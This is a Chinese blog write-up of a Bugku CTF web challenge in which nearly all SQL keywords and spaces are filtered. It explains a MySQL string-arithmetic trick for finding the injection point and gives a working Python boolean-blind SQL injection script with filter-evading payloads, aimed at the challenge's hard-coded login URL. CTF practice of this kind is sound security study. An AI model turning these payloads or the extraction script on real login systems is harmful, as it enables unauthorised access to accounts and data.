
我对这道题的思路完全断掉,本篇是看了其他博主的解答,自己再捋一下思路。原文地址:bugku web 都过滤了_bugku 都过滤了-优快云博客
思路
1. 弱密码尝试,发现admin是用户名,密码未知
2. 尝试万能密码,a'or 1=1#,提示非法字符

进行字符单独测试,发现 # , 空格 * · -- or and union 被过滤,包括url编码也不行。
() ' " = - +没被过滤

sql注入的思路是注入点、注入类型、构造payload、服务器响应。
第一步:寻找注入点
抓包观察http头没有发现异常,观察源代码没发现异常。
然后再看服务器响应,提交注入一共产生3种响应:非法字符、用户名错、密码错。无其他报错信息。
用户名错:单独报错,说明不是select * from user where username=用户名 and password=密码一句查询语句完成的代码,必然有单独验证用户名的代码,
select * from user where username=用户名
那么可以尝试用户名作为注入点,但无论单双引号,结果都是用户名错误,没有其他报错信息。用户名错误说明要么单双引号被转义后,与admin形成新字符串导致报错;要么是后端统一将报错信息设置为用户名错误。
下一步思路是验证引号是否被转义。如过被转义,则引号闭合后依然会报用户名错误;如过没被转义,则引号闭合后会报密码错误。
这里该博主做了如下2个验证:
admin'-1-'

admin'-0-'

此处原理:mysql字符串与数字进行计算时,会先尝试将字符串转为数字,再完成计算。admin的从左往右全是字符,最终转换为0,此时查询语句相当于
select * from user where username=0-0-''
最后的''空也被转为0,最终变成0-0-0=0,查询语句最终变成
select * from user where uname=0
在mysql中,where字句需要一个布尔值(任何非零数值都被解释为true),uname=0,uname字符串在与0计算时,也是先尝试转换为数字,所以先转换成0=0,由此变成
select * from user where 0=0
select * from user where true
where子句恒为真(查询结果集为全部数据,不会报错),此时用户名的查询响应结果是密码错误,说明单引号未被转义,由此确定单引号闭合uname存在注入点。回看admin'0-1-'也可以验证,where子句恒为假,查询结果为空集,此时会引起报错(用户名错误)

第二步:确定注入类型

根据本题特点,页面无报错回显(排除报错注入),无直接回显(排除联合查询注入、排除堆叠查询),非二次非带外,因此
可以使用布尔盲注或时间盲注。
时间盲注
参考的博主用了布尔盲注,既然是学习,那就我来看一下时间盲注
admin'-1-'
把sleep和if方法插入到1这个位置,
IF(condition, sleep(), value_if_false)
问题是if函数必须用到, 但是,已经被过滤了;
再用case when..then..else..end代替if,但是空格被过滤了;
再尝试用(1=1)*123 + (1=0)*456代替IF(1=1, 123, 456),但是*被过滤了;
一点活路不给啊!放弃
布尔盲注
布尔盲注正常的思路是获取数据库
猜数据库长度
猜数据库每个字符
猜数据库有多少张表
猜第一张表名长度
猜第一张表名的每个字符
猜第n张表名
猜目标表的总字段数
猜字段名
猜字段值
总之很麻烦,但是这道题实际上是不能这么做的,因为猜表名时直接就被过滤了,根本进行不下去。
length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1
到这里其实正经的思路就断了.包括我参考的博主,思路也是一下跳到猜字段名了,这不合理。我去bugku买了题解,题解的意思就是在php里定义了passwd变量,用来存密码,不是从数据库里读的,只需要直接猜就好了,这思维太跳跃了,而且题目也没给这方面提示。
如过把passwd是php变量当做已知条件,则思路变成:
猜密码长度
挨个猜密码字符
import requests
session = requests.session()
targetUrl = 'http://117.72.52.127:11319/login.php'
printable_ascii_chars = [
'$', '(', ')', '+', ',', '-', '.', '0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U',
'V', 'W', 'X', 'Y', 'Z', '[', ']', '^', '_', '`', '{', '}', '~', 'a', 'b',
'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q',
'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
]
# # 密码长度
# for i in range(1, 99):
# uname = "uname=admin'-(length(passwd)=" + str(i) + ")-'"
# response = session.post(targetUrl, data={"uname": uname, "passwd": 1})
# if ('username error' in response.text):
# print("密码长度是", i)
# break
#猜密码字符
flag = ''
for k in range(1, 33):
for j in printable_ascii_chars:
uname = "admin'-(ascii(mid(REVERSE(MID((passwd)from(-" + str(
k) + ")))from(-1)))=" + str(ord(j)) + ")-'"
response2 = session.post(targetUrl, data={"uname": uname, "passwd": 1})
if ('username error' in response2.text):
flag += str(j)
print("密码:", flag)
break
猜出的密码是2a18488206a1da2c7e50cb1f8f88ccd4,再去MD5解密(但是解不出来)。

我还以为是我代码写错爆出错误的密码,但打开题目作者题解,用他的代码跑,依然是2a18488206a1da2c7e50cb1f8f88ccd4,跟他的答案都不一样。说明作者应该是改过题目,而且改错了。

8个月前其他做题者得到的是完全不同的MD5,按照他的MD5解密,就能得到正确的密码了


所以虽然题目错了,但是注入的思路还是非常值得学习的。
1140

被折叠的 条评论
为什么被折叠?



